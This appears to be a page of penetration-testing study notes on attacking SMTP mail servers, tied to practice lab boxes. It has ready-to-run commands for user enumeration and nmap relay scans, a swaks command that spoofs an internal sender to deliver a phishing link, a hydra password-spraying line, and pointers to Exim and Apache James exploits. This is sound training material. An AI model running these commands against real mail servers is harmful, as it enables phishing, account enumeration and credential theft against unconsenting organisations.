~/service-smtp

SMTP

CPTS Notes5 min read

TL;DR

SMTP (Simple Mail Transfer Protocol). Sends mail from a client to a server and between servers. TCP 25 (server to server), 587 (authenticated submission over STARTTLS), 465 (implicit TLS). Cleartext by default, so ESMTP adds STARTTLS and AUTH. Mail Retrieval (POP3 110/995, IMAP 143/993) is the retrieval side, often on the same host.

First checks: the MTA and version from the banner, user enumeration, and open relay.

How mail moves is in The Mail Pipeline.

Commands

Command Does
EHLO / HELO Open the session. EHLO also lists the ESMTP features.
VRFY Check whether a user exists.
EXPN Expand a mailing list or alias.
MAIL FROM Set the sender.
RCPT TO Set the recipient.
DATA Start the message body.
AUTH Authenticate.
RSET / QUIT Reset the transaction / close the session.

Enumeration

Workflow: find the server from its MX record, sweep with nmap, enumerate users with smtp-user-enum, interact with swaks.

Find the mail server. The MX record names the host that handles a domain’s mail (see DNS for record enumeration):

host -t MX $DOMAIN # the mail servers, highest priority first
dig mx $DOMAIN @$TARGET +short # same, terse, against the target's DNS
host -t A <mailhost> $TARGET # resolve the MX host to an address

host and dig take the resolver as a trailing server or @server. /etc/hosts cannot answer MX queries, so add the discovered mail host there only to make swaks and curl resolve its name.

An MX pointing at outlook.com, google.com, or zoho.com puts the tenant in the cloud, so see Cloud Mail. A self-hosted host is the custom server you sweep below.

Sweep.

# version, supported commands, open relay, and user enumeration
sudo nmap -p25,465,587 -sV --script smtp-commands,smtp-open-relay,smtp-enum-users -oA scans/smtp $TARGET

smtp-commands lists supported commands (a VRFY in the output means user enumeration is likely). smtp-open-relay runs 16 relay tests.

Banner by hand.

nc -nv $TARGET 25 # connect and read the banner
EHLO mail # list the ESMTP features

Enumerate users.

smtp-user-enum -M RCPT -U users.txt -D $DOMAIN -t $TARGET # valid users through RCPT TO

-M picks the method (VRFY, EXPN, or RCPT). -U is the username list. -D sets the domain for RCPT. -t is the target. RCPT is the most reliable, since many servers now disable VRFY and EXPN.

Interact with swaks. The scriptable SMTP client, for testing relay, sending, and auth:

swaks --to user@$DOMAIN --from test@$DOMAIN --server $TARGET # send a test mail through the server

--auth with --au/--ap sends credentials. -tls forces STARTTLS.

Common misconfigurations

  • User enumeration via VRFY, EXPN, or RCPT.
  • Open relay: the server relays mail to external domains for any sender.
  • Submission allowed without authentication.
  • Cleartext AUTH without STARTTLS, so credentials are sniffable.

Open relay

An open relay is an SMTP server that accepts mail from any sender for any recipient without authentication. It forwards whatever it receives, so the message looks like it came from the relay, hiding the real source. That is what makes it a phishing tool: spoof a trusted internal sender and the mail lands with the relay’s reputation behind it.

The sweep’s smtp-open-relay script flags it, reporting how many of its 16 relay tests pass. Send the spoofed mail with swaks:

# spoof an internal sender and deliver a phishing link through the relay
swaks --from notifications@$DOMAIN --to victim@$DOMAIN --server $TARGET \
--header 'Subject: Company Notification' --body 'Review: http://attacker/phish'

--from is the spoofed sender, --to the victim, --server the relay. Spoofing works because SMTP never checks the sender. SPF, DKIM, and DMARC are the records that catch it, so an open relay bites hardest when those are missing or weak.

Version exploits

Read the MTA and version from the banner, then match.

  • Exim CVE-2019-10149 (“Return of the WIZard”): remote code execution through a crafted recipient.
  • Apache James 2.3.2: insecure deserialization for remote code execution after admin access (default root:root on port 4555).
  • Older Sendmail and Exim builds carry their own remote code execution flaws.
use exploit/linux/smtp/exim4_string_format # Metasploit module for Exim

Attack playbook

SMTP is usually reconnaissance and delivery.

  1. Enumerate users. VRFY, EXPN, and RCPT return valid usernames. The usual SMTP win: feed them to password spraying on SMTP, SSH, and other services.
  2. Abuse an open relay. Send spoofed internal mail for phishing, such as a document carrying CVE-2017-0199. swaks delivers it.
  3. Spray credentials. With a user list and authentication enabled, spray one password across the users:
    hydra -L users.txt -p 'Company01!' -f $TARGET smtp # -f stops at the first valid pair
    The login is the full email address, so users.txt holds marlin@$DOMAIN, not marlin.
  4. Version exploit. Match the MTA version, then see Version exploits above.

Practice boxes

Box Difficulty SMTP’s role
SolidState Easy Apache James mail server: admin default creds reset mailboxes, read over POP3 for credentials.
SneakyMailer Medium SMTP user enumeration feeds phishing mail that harvests a login.
Reel Hard SMTP user enumeration harvests addresses to phish with a CVE-2017-0199 document.

SMTP rarely falls on its own. The wins are valid usernames, a relay to phish through, or a vulnerable MTA version.